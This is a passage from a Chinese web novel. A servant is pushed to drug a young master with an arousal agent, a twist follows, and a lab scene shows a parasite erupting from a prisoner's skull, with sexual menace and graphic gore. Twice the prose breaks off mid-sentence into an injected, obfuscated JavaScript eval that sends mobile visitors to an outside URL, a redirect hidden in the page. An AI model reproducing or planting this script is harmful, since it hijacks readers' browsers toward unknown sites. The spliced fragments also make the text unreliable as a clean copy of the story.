“这家伙是他们的老大吗?怎么就这样跟他们站一起,应该、应该是在那种超大超硬,躺不下去坐又不舒服的椅子上的吧。”
“您想说的应该是王座,小少爷。”谢云哲条件反射接话,说完便立刻垂下头。
他独自承受的重压让他失去随机应变的心力,尤其是在苏洛面前。
让他陷入困境的红发少校却无一丝负担,继续散发着魅力笑道。
“小少爷说得对,他是缺了一个王座,因为他是不一样的,是高贵和规则的象征。”
苏洛听完眨眨眼,转头就肆无忌惮地拿手戳冰雕。
“那为什么只能是他啊,其他人不行吗?我觉得这个人看着就比他厉害。”
他指着最左边,是一名挥舞锤子的铁匠——壮汉双臂肌肉扎实,隆起夸张的曲线。
被这番话逗乐,伊诺克嘴角弧度又加深几分,某种笑声像一口酒被他藏在舌下,只能在他说话时嗅到那股已经丧失醇香的刺鼻味道。
“道理很简单的,小少爷,那是因为人生来就是不同的,是不平等的,铁匠的后代做得再好大概率也只能当第一铁匠,而国王的子嗣能力差劲也是个王储。”
仿佛课堂上尊尊教诲的导师,伊诺克背着双手,一边说着边踱步审视冰雕。
“如果世界是辆列车,那头等舱的位置,即舒适的生存环境,优质的服务享受,自由选择和改写规则的权力,这些一开始就定好了价格。
只有具备一定的身价才能上桌入座,有些人就算能抢走机遇,最后也会发现,原来自己没资格支配……”
离浮雕墙最远的地方,谢云哲死死瞪着角落。
早饭午饭吃得少,现在他的胃好像绳子一般打结缠绕,脏器的阵痛在与忽强忽弱的耳鸣一起警醒着他。
这是场彻头彻尾的错误。
从他因一时动摇而接下药剂的那刻起,他就踏入了无止尽的错误漩涡。
题目偏私狭隘,考官虚情假意。
所以无论他怎么回答,最后都是输家。
此刻,他右手藏在大衣兜里,几乎要拗断那支药剂的外壳。
“嗯——是这样吗?我果然还是不太懂呢。不过只要是伊诺克你说的我都赞同。”
前方又传来小少爷矫揉造作的恭维声,谢云哲喉头一滚,脑中无端闪过某个场景。
在来斯卡蒂的第一天,见到苏洛的第一面,他就听过与伊诺克少校刚才那番阔论相似的威吓。
——在这里,我现在以及未来所拥有的一切,凭你是永远不可能拿走的
——谁都不可能
两句警示更简约也更蛮横,满是不容旁人争辩的傲气。
原以为早就抛之脑后,如今谢云哲却只字不差地寻回记忆,甚至还想起那日呼在脸侧的气息,停留在自己身上的灼热视线。
当时他也一样低头了,但是……
时间这条卑鄙的蠕虫,总是趁人不留心就加足马力前行。
等午后的参观结束,被迫在幼稚的打雪仗中充当移动靶,谢云哲才结束糟糕的恍惚状态,满身雪的被苏洛挽住。
“那我和他去泡温泉啦,你们不许偷看,伊诺也不准!”
“好好好,那洛洛要记得别贪玩,不然——我可要先替你大哥好好罚你一顿。”
在别馆才过一日半,苏洛与准未婚夫的关系就突飞猛进,已经亲密到用昵称互相指代。
谢云哲动了动唇,想要说什么就先被一双欲壑难填的蓝眼锁定。
“我提前准备了两位的换洗衣服,方便的话就让洛洛的侍者跟我部下去取吧。都是按你喜好买的,有准备惊喜小礼物哦。”
说最后一句时伊诺克又转向苏洛,调皮地眨眨眼。
仅是这样就足以让一脸幸福的小少爷春心萌动,露出谢云哲在苏家从未见过的欣喜笑容。
不值得,实在不值得。
终于,在偌大迷盒中仿徨整整三十七小时,谢云哲因一份似曾相识的怒意寻回半数意志。
别馆二层,连通温泉的长廊上,他跟着那名长脸士兵取来两只礼盒。
同时,也得到一句机械的,如同倒计时的提示。
“伊诺克少校会等你到晚饭前,按响房间铃通知他来陪两位用餐。”
“我知道了。”
恢复往昔的镇定,他爽快点头,也按着药剂所在的口袋回了一句。
“也请你转告一句,我希望我能马上看到我想要的东西。”
不管士兵会不会传达,他都已下定了决心,过后又向厨房要来一杯果汁。
他端进去时,披着睡袍的苏洛正趴在大床上,满足地欣赏那件浅粉礼服。
手指戳在领口的金边,顺着绣纹蜿蜒的线条移动,小少爷现在的模样无疑是在憧憬今晚的一场美好聚餐,幻想着梦幻泡泡般的亲密依偎。
他轻抚的仿佛不是亮片,而是窝在爱人怀中时触手可及的双唇。
闭眼隔绝这幅画面,谢云哲先反锁房门,深深地吸一口气。
再睁眼,他决然道。
“苏洛少爷,请你马上换好衣服,我们这就回去。”
沉浸在爱情泡沫里的青年大概是没听清,起身转头,一脸不解地盯着他。
“等下我会制造机会,请您务必趁乱跑到缆车站等我,或者在今天下午去过的冰雕庭园,那里有三个地点适合躲藏。另外也请您带上这两个东西防身。”
漆黑小刀和‘蓝月玫瑰’再次由他塞进对方手中,也和当初一样被人嫌弃地丢向角落。
“停!”小少爷不耐烦地啧嘴,“你到底在说什么啊,我一个字都听不懂也不想听,蠢货,你难道不知道我今天——”
“行了!你给我听好了!”
一直以谦卑示人,谢云哲此刻的语气却是前所未有的强硬,原来被戏称为‘清冷野草’的形象也陡然碎裂。
他牢牢扣住对方双肩,倒出连珠炮似的话语。
“你爱慕的伊诺克·普莱德,他自私、傲慢、表里不一,根本没有任何作为继承者的担当。”
“他龌龊,庸俗,毫无底线,完全是一个只会糟蹋别人心意的无耻恶棍,自诩人上人的剥削代表。”
“最后,也是最重要的,你给我一字一句听清楚了,他、根、本、不、喜、欢、你。他接近你,夸赞你,讨好你,统统都是为了拿你当踏脚的祭品,没有一丁点珍惜,甚至比不上跟你擦肩而过的陌生人。”
一口气吐完早该在半个月前就说出来的真心话,谢云哲莫名起劲,也趁苏洛惊呆再接再厉。
“你知道他今天想对你做什么吗?他要我给你投放诱导剂,这样他能名正言顺占有你,不是婚约的那种,只是把你当成一个送上门的玩物。等他玩厌了,也不需要了,他又会一脚把你踹开,连同你身边保护你,真正在乎你的人。”
一语终了,谢云哲活跃的大脑皮层像烙铁浸了水,瞬间冷却下来。
因为苏洛正静静望着他,神情难辨喜怒。
谢云哲喉头抽动,感到一阵窒息。
尽管他不愿承认,但这会儿他的确感到害怕了,可他连自己在惧怕什么却都说不清楚。
“什么药剂,给我看看。”
正是因为这片刻的混沌,他听了小少爷的话,鬼使神差掏出药管。
手刚拿出来,眼前闪过一道白影,他接着就只看到对方爬进大床深处,把玩着细长小瓶。
“噢,原来就是这种玩意儿啊,真的有那么厉害吗?”
隐约猜到青年要做什么,谢云哲胃快拧成一团了。
“别碰它!你先好好想一想,小少爷,想想我刚才给你说的话,然后把这东西丢了,我们再逃出去。”
“为什么?这药是你接下来的吧,那你不就是同意帮伊诺吗?”
谢云哲顿时语塞,努力张合的嘴一个字也挤不出来。
偏偏这种时候,不讲理的苏洛格外好脾气,像个虚心求教的学生一句接一句道。
“为什么伊诺只找你帮忙呢?”
“他明明可以直接给我呀,难道他真喜欢你啊?”
“还有你都答应他了,怎么转头就反水了,还莫名其妙叫我跑?我为什么要跑?这可是我的约会,都还没结束呢……”
和过去一样啼笑皆非的言论,无法再让谢云哲只放心里默默接茬。
等到时钟整点敲响,他才前进一步半跪在床。
“因为我想得到一份很重要的资料,然后带着我的家人……我的人民离开这颗星球。”谢云哲强装出轻松的口气。
“你的人民?”苏洛歪过头,一双黑眸盛满了好奇。
“我是跳虫游民,小少爷。”
“我作为其中一员长大,亲眼见证无数颠沛流离,永无出路的人生,而现在的这片土地……已经不会再有兼容并蓄的国度了。”
许是习惯了那双眼睛,也许是事态将心推向了最后一层,他不再伪装。
“人和人的差距只会越来越大,矛盾只增不减,现在被吃掉、被当成塞牙肉的是我们,下一步就轮到比我们稍好一些的平民百姓,但那时他们又能坚持多久?”
“而有意造成这一切的,就是我们的统治者,伟大的普莱德一族。”
谢云哲揪紧那破烂大衣的一角,绽开一个苦涩的微笑。
“留在这里的我们,已经看不到希望了。”
即使科学技术正在发展,逐步向过去靠拢。
即使生活条件正在好转,各地渐渐趋于平稳。
可他仍能感觉得到,一种动荡始终蛰伏,处心积虑地渗透全地。
那种波动不是说消失或间歇出现,而是被有意藏起来了。
“藏在如今愈发盛行的自由贸易,还有蓬勃发展的文娱建设下。所有人的目光都被转移了。”
一通领袖发自肺腑的演说结束,谢云哲不忘最初目的。
“所以小少爷,还请您把药还给我,那很危险。”他说着小心伸手,“放下它,我先带你离开这。”
处在同一片床帏阴影下,他近距离注视着苏洛的脸。
近到没错过对方轻挑眉毛的细微之举,拧开瓶盖前的唇角上扬。
电光火石间,他扑去拍飞药管,可他的动作竟比不上一个娇生惯养的少爷,眼睁睁看着人喝进去三分之二。
另外洒出来的三分之一也没浪费,正巧落在他手背上。
“啧,味道好难喝。”
小少爷咂咂嘴,嫌恶地甩掉空管。
“你、你——”
谢云哲目瞪口呆,分不清是气的还是急的,整张脸噌的一下烧红。
可热意没有随着他恢复平静消退,反而从喉咙开始回涌,深入腹股沟的隐秘之地。
欲望像一团火,将人烧得体无完肤。
这下谢云哲再也发不出声了。
药效比他印象中的强烈两倍不止,明显是额外做过手脚。
看来别说混入食
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14315243|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
物了,这管药只要一打开就会彻底开启欲望的旋钮。
“那个混蛋、伊诺克·普莱德——”
以最后正常的,包含怒气的嗓音咒骂,谢云哲蜷起身体,眼前昏花一片。
他用尽全力咬破下唇,也仅仅是让自己在门被撞开时清醒了一点点。
除此之外,什么都做不了。
这还只是初期,他的腺|体甚至都没开始释放信息素。
而那红发男人轻轻掐着他的脸,抚摸他唇上的血,带给他恶心却又让身躯颤抖的触感。
他听不清对方说了什么,只知道自己双手被床单反绑,像条虫瘫在地毯上。
“别急,等我先……小少爷……再来……你。”
让他牙根痒痒的声音忽远忽近,所谓的‘情话’令他呼吸愈发急促——这纯粹是气的。
如果手边有一把刀,他会毫不犹豫戳进对方嘴里,割掉那条可恨的舌头再让对方吃下去。
刀?
躁动中灵光一闪,谢云哲重新找到挣扎方向,拼命往橱柜靠近。
幸运的是,刚才小少爷丢开的石头小刀全在这里。
不幸的是,他恢复得极其缓慢,双手怎么也抓不起小刀。
从未体会过本能情|欲的身体就像一块高敏感的琼胶,肌肉的细微牵拉,衣物的轻轻摩挲,随意的一个动作就会唤来排山倒海的空虚感。
而它以一丝快意为引,急不可耐地斩灭理智。
快一点……
快一点啊!
爬虫在无声呐喊,终于握住刀柄,抓住石球。
视野最先恢复,谢云哲看到红发男人脱掉外衣,露出一片宽阔脊背。
男人腰上盘着两条腿,像水蛇将他缠住,即将带往他,或该说他们两人一起赴往那原始而古老的仪式现场——充斥着掠夺的野蛮欢|爱。
不愿看却无法移开视线,拿刀切割绳结的谢云哲又看到昨夜一样的画面。
黑影在放大,视野在缩小,他被自己的愚蠢锁进箱中,即将亲眼看着——
红发男人像个坏掉的不倒翁,身子猛地一歪,脑袋撞向金属床柱。
作为地上的‘虫’,谢云哲神色木然,看着伊诺克·普莱德软趴趴地滑下床。
不,不对,他是被踹下来的,胸前还留着一道触目惊心的脚印,令人不禁怀疑他的肋骨是否完好。
“唉——没意思,技术烂,居然还有口臭。”
踹人的小少爷,已经玩腻的苏罗如是说道。
在谢云哲的眼中,他睡袍松垮可全身肌肤如常,脸颊虽然微红,但只像刚跑完比赛的选手,稍微缓一缓又能恢复。
恢复成高高在上,眼神玩味的恶劣少爷。
具体多顽劣呢?
这人迈着优雅猫步,全然不顾容易走光的衣衫,蹲到他的面前。
然后连弹他鼻头三下。
“你到底要我等你多久?我的时间很宝贵的,别让我们全等你一个人。”
我们?
突如其来的转变,迟迟未退的情|潮,两者夹击下,谢云哲稀里糊涂地‘啊’了几声。
还好他的手仍在运作,最后用力一划,成功解除束缚。
绳子是割开了,新的问题却有待解决——他四肢依然乏力,怎么也站不起来。
尝试几遍都扑腾趴下,到头来谢云哲喘得比一开始还厉害。
欣赏青年与地面胶着的丑态,苏罗毫不留情地嗤笑一声。
“啧,你就那么喜欢当扫把吗?真脏啊……”
相同的笑与话语勾起不妙回忆,谢云哲猛地闭气,满脑子乱开的‘抽屉’又给诱导剂火上浇油。
为不再暴露羞耻的一面,他强撑着开口。
“你,你是怎么,唔……”
分明灌下了三分之二的药水,怎么一点反应都没有。
仿佛是听到一个老套的烂俗笑话,苏罗双手捧脸,吭哧吭哧憋笑片刻。
“你想知道啊?”
他以伊诺克少校同款诱哄腔调发问,区别是多了一份童趣。
谢云哲晕乎乎地眨眼,用目光传达渴求。
然后一只五指冰凉,掌心温热的手,缓缓捧住他沉重的脑袋。
“看着我。”
那张他再熟悉不过,此刻却无比陌生的脸向他凑近。
“看着我的眼睛……”
对方的嘴角因冷笑吊起,像呵出一口气对他喃喃。
“然后告诉我,你看到了什么。”
昼夜共处的时光里,谢云哲没少听这样挑衅式的命令语句。
往往这时,他总会自作聪明地低头服软,避免一切可能的冲突。
这次,他照做了。
但他只能先回答出自己的眼里有什么。
恐惧。
凉透骨髓的恐惧。
他注视着和自己一样,内里却杀意凛冽的黑眸,牙齿疯狂打颤。
他禁不住地想,一个人怎么会惧怕另一个人到这种程度?
怕到只想死但又眼巴巴地求生,怕到只想逃但又暗戳戳地反抗。
事实上,思索这些问题根本没有意义。
因为他才被情|欲、愤怒、迷茫这些多元感受填塞的身体,也是永远关住他的箱子,如今只涌出一种东西。
——生存
作为一个生命个体,永远被本能摆在第一位,被基因篆刻在第一列的暗号。
甚至在语言出现以前,‘活下去’的咆哮就在他的祖先血管里回响,激起一代比一代强烈的回音。
活下去。
活下去!
活下去活下去活下去——
“呼——”
如同破掉的皮球吐出最后一口夹带唿哨的气,谢云哲触电一样坐起弹开,惊恐又目不转睛地仰望另一人。
“哟,这不是很精神嘛,那就走吧。外面早结束了。”
露出像狼一样的微笑,苏罗头也不回转身。
这果决的动作有种怪异的吸引力,让谢云哲步态蹒跚地跟上去。
房门外,两列整装待发的士兵依旧分开靠墙而站,但他们全是北军的人。
这群人的眼神更加锐利,神情更加刚毅,如一尊尊活体英雄像,目送着他们的领袖和一位外邦使者。
身为后者,谢云哲堵塞的大脑只想着两件事。
那些首都的精兵去哪了?
小少爷怎么不瘸腿了?
走在他前方的青年闲庭信步,在楼梯拐口处从季宇飞手中接来毛绒披风。
“我们的抓鬼小能手怎么样?”苏罗用力一甩,衣物随性地披在肩上。
“十六人捕获完成,全部活捉,已经送到布雷格那里准备研究了。”
体贴如季宇飞,故意又当着谢云哲的面补充一句。
“阿莉西亚被您教得很好,您看,她这次特地选在里面动手,就等你表扬她呢,苏罗小少爷。”
顺着季宇飞的指示向下看,唯一不知情的外宾倒吸冷气。
越过楼梯和护栏,大厅中央的圆形区域一览无余。
那名矮小女孩双手持刀,一长一短,一弯一直,似落幕的舞蹈演员朝他们鞠躬。
她的脚下是散乱的血迹,利落的刀痕,无不象征着一场恶战。
更准确地说,是由她凭压倒性的实力获胜的恶战。
“做得好,阿莉西亚,回去叫海勒姆给你拿奖励。”
夸奖完,苏罗转头,终于又看向震惊到失去表情的‘贴身侍从’。
“为什么,你、你们……”
谢云哲双唇翕动,发出的声音连他自己都听不见。
可他眼前的青年怪笑了一声,立马接道。
“别怪我们骗你,我说了,是你来早了。而且也是你选择骗我在先呢,小首领。”
回应理直气壮,傲慢到让话失去解释性质,而一声‘小首领’又让谢云哲如遭调戏,窘迫得脸色红白交替。
然而被对方奇迹般仅靠一个对视就洗清药效,他已找回自己能迅速冷静的优点。
于是,他再度挂起礼貌的笑。
“那请容我真挚地向您道歉,苏罗……少爷。”
长廊另一端,苏罗缓步走到尽头。
贴着碎花墙纸的像画卷自行抽离,向在场所有人展出一堵坚不可摧的金属门。
这竟是一处入口,是升降式的圆形平台。
自然,现下惊愕的只有初获真相的谢云哲。
对他震恐到呆滞的表情百看不厌,苏罗亮出右手,也秀出自己指尖上转动的链条,串着一块金属。
那正是伊诺克·普莱德承诺会给谢云哲的交易物。
“道歉就免了,我跟你——还是来谈谈比花样做||爱一百式更有趣的事情吧,行吗,亲爱的,谢云哲老师?”
恶趣味如他,又用一句话烧红谢云哲的脸,差点回到药效爆发的原点。
26.元首的蓝宝石26
红着脸,憋着欲,差点完败的谢云哲好歹是忍到‘解药’救他于水火。
他搭乘别馆的秘密升降机来到一处输液室,并在这里注射了药剂。
头脑也镇定后,延迟的思绪开始转动,他逐渐记起眩晕中目睹的一切。
真是何等不可思议。
他坐在冰凉的束缚椅上,右手缠着一圈止血带,整个人动弹不得。
行动限制不影响他的视线反复在吊瓶里的浅青溶液与四周转移。
这里是地下基地的第六层,数不清的白衣研究员来来往往,经过他所在的观察室。
虽有人向他投来好奇的眼神,可他们都不曾停留,如同一辆辆列车沿着预定的铁轨前进,驶往各自的目的地。
溶液快见底时,房门被叩响,接着进来一位清秀的女护士。
给谢云哲做完检查,她轻柔地替人解开束缚。
“嗯,现在你身体里的诱导剂已经稀释成功了,尽管还要五到七天才能彻底代谢干净,但你不用担心,药物失活后就不会再起反应。”
谢云哲点点头,目光掠过对方的工牌。
“谢谢你,艾达。”
名为艾达的护士对他微笑,离去前又温声道。
“不客气,这是我应该做的,欢迎您来到我们的斯卡蒂。请您在这稍等片刻。”
问候无比寻常,却和此前在城镇里触动谢云哲的一张张脸、一句句关怀同样,让他身心不由自主放松。
也让他恍然大悟。
之前被他忽视的微妙感,而今终于有了答案。
就像‘天之骄子伊诺克’的名不副实,‘穷乡僻壤斯卡蒂’的外在头衔与他一直以来见证的根本不适配。
若真如外界流传的,斯卡蒂是一个内忧外患,苦苦挣扎的没落独立区,这里的民众绝不会有那样舒心的笑容,更不会对外来者下意识地散发善意。
虽然话说得有点难听,但人对人的慷慨是有门槛的。
当自己也过得捉襟见肘时,谁愿搭理一个会分走自己生存资本的竞争者?
本应对此定律最熟悉,谢云哲当下惭愧地笑了。
跨入界限起,他身边的一切就都是线索,甚至在会见那天他也被出题者明目张胆地‘剧透’过。
更别提后来的所有提示。
苏霆他们的态度,城镇呈现的风貌,萦绕在人人之间的无形暖流。
自然,还有最重要的一点。
门突然又打开,谢云哲的思考也就此暂停。
只是瞥到人影一角他便如弹簧站起,恭敬弯腰。
“非常感谢您给我的治疗,苏罗先生。”
其实对方左右还有两个辈分更大,职位更高的同行者,一位苏元帅,一名季参谋。
即便不知晓原委,也能从站位判断出真相。
那两人自觉错开并落后半步,与换回常服的苏罗形成一个等边三角形,甘愿充当背景和底边。
而‘顶点’嗤笑一声。
“连这你也要向我道谢,你的感激还能再廉价点吗?”
嘲讽绝对是真实的,可谢云哲反而比自己还蒙在鼓里那会儿更不在意了。
他直起腰几分,但仍欠着身道。
“为您的宽宏大量,我怎么感谢都不为过。”
像过去被他成功诱哄一样,小少爷偏过头,笑得刚好露出一颗虎牙。
不过,他再也听不到那些令人哭笑不得的任性话了。
“走吧。”苏罗侧过身示意,“现在下去时间正好呢。我们第一位真正的巡视客人,你记得提前扶好下巴,我可不会帮忙接住的。”
欢迎语跟基地之主的风格完全相符。
仿佛是一个傲慢稚童故意当众踩上椅子,扬声宣告他才是世界最高,是需要所有人敬仰的存在。
目前正处于‘抬头远望’的初阶段,半小时后,随行的谢云哲只觉得对方说少了。
应该还要让他把眼珠也兜住的。
免得他像现在双目瞪得滚圆,似乎下一秒就能蹦出眼眶。
特莫伊庭园之下,第三峰为起点,这座位于山体内部的纵向基地深达三百余米。
其中一部分藏在冰架当中,通过升降通道连通天然洞窟,直达山谷,整体宛如一个超级蚁穴。
并且,它还在扩张修建。
仅靠别人的口述了解概况,谢云哲快关不住内心的激动。
这份昂扬无关身份立场,只是他作为一个人类对奇迹的惊叹。
振奋过后,他不禁提出自己的担忧。
“这么设计会不会有风险?我的意思是——雪山终究不比常态的山脉,你们要面对的隐患会更多也更棘手吧。”
万一其中一环出了岔子,就会像雪崩一样造成无法挽回的覆灭。
“是的,您的见解没错。”
导游季宇飞向他投来赞同的目光,继续那口吻不矜不伐的解说。
“我们在选址之初就清楚其中的挑战和优势,也知道如果雪山消失,这株地底的‘逆生树’将会不复存在。
特别是冰架区域,根据我们的探测,它下方的空洞范围每年都在增长,安全起见,我们过段时间就会封掉通路。”
如谢云哲所料,季宇飞又接上转折的话语。
“可说到底,基地只是一个载体,是树根生长时挤压出来的土壤间隙。只要根脉继续移栽,枝条仍能扦插,结出的果实照常落地发芽,那一切就还有复生的可能。”
突然加进严谨演说里的比喻,给谢云哲的心中钉了一根楔子。
他明白了,这群已达成世人眼中不可能之事的先锋,并不满足蜷伏于一个小小巢穴。
他们创造了辉煌,却随时准备离开,毫无留恋和遗憾。
只因他们知道,自己还将赴往更加高远的彼岸,必须有着不回头不后悔的决然。
说话间,一行人抵达了实验中心,即地下一百至一百六十米的二十九楼。
相比老基地里的狭小朴素,该地不负‘最高研究项目所’的名称,空间之宽阔超乎想象。
光休息区就能顶三座旧址的面积,不仅分设了睡眠单间,公共处还备满各式解闷物件。
往左能看到集吧台、茶屋、咖啡厅三者合一的餐饮馆,最右边的观赏角同时又是实验种植园,花卉蔬果欣欣向荣。
如果遇上突发情况,被困几年完全不愁。
话虽如此,在此活动的人比之蚂蚁也不遑多让。
他们行动匆匆,或是抱着推着什么东西,从这扇门进又从那扇门出,偶尔停下也是就工作上的事交流。
此外,他们也没专门向闯进来的几名高层行礼,至多点头问声好。
第二闸门开启,布雷格·丹特大步流星走出。
灰发黑衣白外套,他色彩寡淡的外形一如他欠缺人情味的神态。
“哟,好久不见啊,布雷格。”
苏罗老远就向人招手,笑容灿烂。
听见他的呼唤,布雷格长腿一收,干脆地把脚下轨道折向他。
“怎么样,今天你也很忙吗,能不能赏个脸带我和客人进去逛一圈?”
等苏罗说完,冷漠的男人才将视线扫向其余人。
其实前者根本没有‘过问’的必要,但见他笑吟吟眨眼,一副恶作剧成功的模样,后者不可避免地叹气道。
“你又是故意的?专门挑在我最忙的时候?”
相似的情形半个月前才发生过一次,区别是今天用不着苏罗撒娇着软磨硬泡。
他上前一步,熟练地拉过布雷格勾肩搭背。
“想我去还是不想我去,你就选一个吧,这次我送你的实验体那么多,你总不能拒绝给我看你们的成果吧?”
布雷格抿了抿唇。
一如既往的,他在无下限的妥协后给出较真的补充。
“我哪次不让你看了,你明知道我不会拒绝你。”
要是没有那平直的语调,谢云哲差点以为这是伊诺克·普莱德的调情台词。
但红毛少校是不会带领他们穿过悠长通道,以一种肃穆的怀古神情道出他听不懂的内容,复杂术语张口就来。
也更不会像介绍一盘家常菜那般,将全身束缚的人类士兵展示出来。
地点为某处观察室,透明隔墙将区域划分两半,一侧为纯白牢笼,除了囚犯什么都没有,一侧是操作总台,早已围着数名研究者。
隔墙外,谢云哲认出被捆成蚕蛹的男子。
那是中央兵里的一员,经常站伊诺克身边。
他没急着发表意见,只是将询问的目光转向苏罗。
对方眉峰耸动,回复一个‘等着瞧’的玩味表情。
直觉接下来将大开眼界,谢云哲偷偷深呼吸。
“先从百分之十浓度的蓝月原液开始给他使用。”
他听到有人这么说,马上就见囚室内有气体扩散。
一缕缕稀薄蓝雾很快被空气同化,它的作用也像现在的形体,几乎看不见。
纵然接触得少,谢云哲也知道蓝月能源是除了起死回生之外都能有望实现的奇迹物。
他们的世界正是依靠蓝月才能在帝国瓦解后快速平稳,不至于倒退至毁灭。
现代几乎所有行业,所有领域都有它支撑的地方,无论什么过程加入它,都能实现利益一加一大于二,成本趋向于零的夸张效益。
但现在的他看不出来,那名中央兵需要蓝月来获益什么。
时间流逝,浓度上调,身为半吊子研究员的他站到腿酸,突然被一声惊呼绷起神经。
“快看!他有反应了!”
囚室内,那名男人开始剧烈颤抖。
固定他和束带的横板一起震动,噪声涌出音箱,打着不祥的节拍。
谢云哲马上就意识到,男人不是在颤抖。
他的皮肤、肌肉乃至骨骼仿佛都在因突发的生长变形,被封住的嘴里不断发出沉闷哀嚎,随着身体的鼓胀加剧。
寂然的操作室一瞬沸腾,全员加足马力按预定好的分工行事。
汇报并记录数据,操作内置器提取样本组织,还有一伙儿嗓门大的人不知在倒计时什么,看得谢云哲眼花缭乱。
当他以为这是一个用蓝月能源毒死士兵的实验时,异变发生了。
男人的眼珠忽然各自转向一边,停止了震颤。
啪嚓。
这是头骨破碎的声音。
裂痕起初细微,只能看到额前的一条红线,而随着颤抖加剧,它像惊吓盒猛地弹开顶盖,露出内里红白色的内核——人类的完整大脑。
谢云哲没移开视线,是这血腥又怪异的画面攫住了他,逼他继续观看。
直到那颗大脑的顶部中间,凸起了一个指甲大小的肿块。
它其实出现得很自然,仿佛天生就在那里,不过是大脑皮层隆起的回沟与光影效果合谋的小把戏。
然而接下去的过程,无疑是谢云哲永生难忘的恐怖画面。没有之一。
那枚肿块动了动。
像花苞绽放,像嫩芽舒张,它敞开一圈锯齿状的边缘。
监视仪在人操作下放大了画面,谢云哲顿时以拳抵唇,咽下呕吐和惊叫的冲动。
那微小的肿块里,藏着一个毛骨悚然的世界。
外延是牙状突刺,中间是鳞型肉膜,而它的核心最为可怖,竟是无数张叠加挤压,仿佛还在呼吸的脸。
其实在放到最大,与第一张‘脸’对视时,谢云哲就忍不住低头了。
之后混乱的数十秒里,他一度不敢确定刻在脑海中的形状是否是他臆想出来。
只有疯子才能创造出如此扭曲的物体。
“……根据他休眠状态下审问出的信息推断,他同时认为自己是‘内德·
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14389459|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
金斯莱’和‘欧格斯特’,其中欧格斯特是跟在上任大元帅身边的一名中尉,在某次袭击战中牺牲,后被追封为上校。”
季宇飞的一段话又唤回了谢云哲,而他的敏锐令在场关注他的人相当满意。
“难不成……生物记忆芯片?”
他挪开嘴前的拳头,也再次抬头直面那颗寄生人脑的惊悚物体。
“这是、他们在对自己的士兵使用生物记忆芯片?!”
对于苏罗来说,这样的‘不可置信’滑稽戏早就不新鲜了。
“哇哦,你好棒哦,竟然猜对啦。”他无趣地鼓鼓掌,兀自走上前,“就现在,开始吧。”
指令一出,研究员们二话不说切换状态。
这次,他们给生命体征微弱的男人注射了液体。
半人高的机械臂于地面升起,它的尖端裸|露着一部分试管,从中可窥见一抹莹绿光华。
谢云哲记得该物质的名字。
溶液β-27-185,后命名为绿星。
当时的好奇如今呈指数级增长,他目不转睛看着溶液注入男人的颈动脉。
此刻他后知后觉,想到那溶液和刚才输给他的十分相似,他的浓度大概低一些。
神奇的事发生了。
肿块先是抽搐,随后像受到刺激拼命向上蠕动,将自己细若发丝的躯干挤出人脑表皮。
然而,在它脱离之前,监控士兵生命体征的仪器就先发出‘回归正常’的提示音。
一眨眼,肿块迅速干瘪,像片枯萎的花瓣耷在额叶处,它最后被机械臂转移进了新的容器盒内。
整场观测持续近一小时,末尾的九分钟却仿佛独自延长了数倍。
后续便是全副武装的医生进去缝合实验体的头颅,将人安置在修养舱内。
谢云哲保留着一贯的识趣。
该沉默时沉默,也不打算追问为何不用蓝月能源辅助治疗。
生物记忆芯片的真面目就已如此骇人,他有理由去揣测能激发它的蓝月也是一个双面怪物。
那根钉在他心间的楔子,撬开了意想不到的联想。
等离开观测室,在隔壁休息厅入座,他靠向椅背长舒一口气。
察觉他的恍惚,季宇飞更换了茶叶种类。
花类清香混入少许薄荷调味,提神又安抚心绪。
“今天你泡茶的手艺不错啊。”苏罗率先开口,摆着勺子揶揄,“怎么,是有什么喜事吗?”
季宇飞扬起笑脸,立刻接话:“您终于正式回归,我们任务圆满完成,客人安分又配合,这每一桩可都是喜事啊。您说对嘛?”
忽然被点名,坐在两个弟弟中间的苏霆抬眼。
这一路他要比平时更沉默,只用简单粗暴的‘嗯噢’之声作答。
“嗯。”
好吧,现在还是一样。
季宇飞是看破不说破,谢云哲是有察觉但并不多。
唯有苏罗大大咧咧侧过身,胆敢伸手在那张万年不变的冷脸上掐了一把。
“你还生气啊,我的好大哥,我不就是随便玩玩嘛,别再想着怎么把人丢出去冷冻了,好歹人家还是个合法继承人呢。”
经他一说,谢云哲看亲哥的眼神顿时复杂起来。
既然整片山头是基地,当初他以为被伊诺克·普莱德占领的别馆无疑是北军一方的地盘。
能用几分钟就控制住首都精锐,除了依仗强劲实力就是靠着及时掌握的动向。
他才不信,某少校同时给他和苏罗下套的房间里没有监控。
任人掐揉了好一会儿,久到皮肤逐渐发红,苏霆才无奈地别过脸。
“我知道……”
要不开口还好,他这一出声,酝酿半天的苦闷便尽数倾倒,想藏也藏不住。
但如果只有某少校染指‘宝贝弟弟’,他还不至于烦躁到失去应有的礼节。
迎着三道探究的目光,尤其是夹杂笑意,跃跃欲试的一个,苏霆别无选择。
他这好战好玩,无畏无惧,还偏爱赏玩别人烦恼的王,怎会放过捉弄他,叫他难堪却又心痒难耐的机会。
调整气息的同时改换姿态,苏霆坐正宣布道。
“我们的信号站拦截了一条来源未知、ID不明,内容只有数字的讯息,但经过破译已解读出内容。”
“噢?说说看。”苏罗撑着脑袋,表情甚是玩味。
“在下不日将登门拜访,收取尾款和新的预定金。另,希望这次准备的额外赠礼能让您满意。”
念完这句安静数秒,苏霆又被笑眯眯的青年晃动着手指戳破心思。
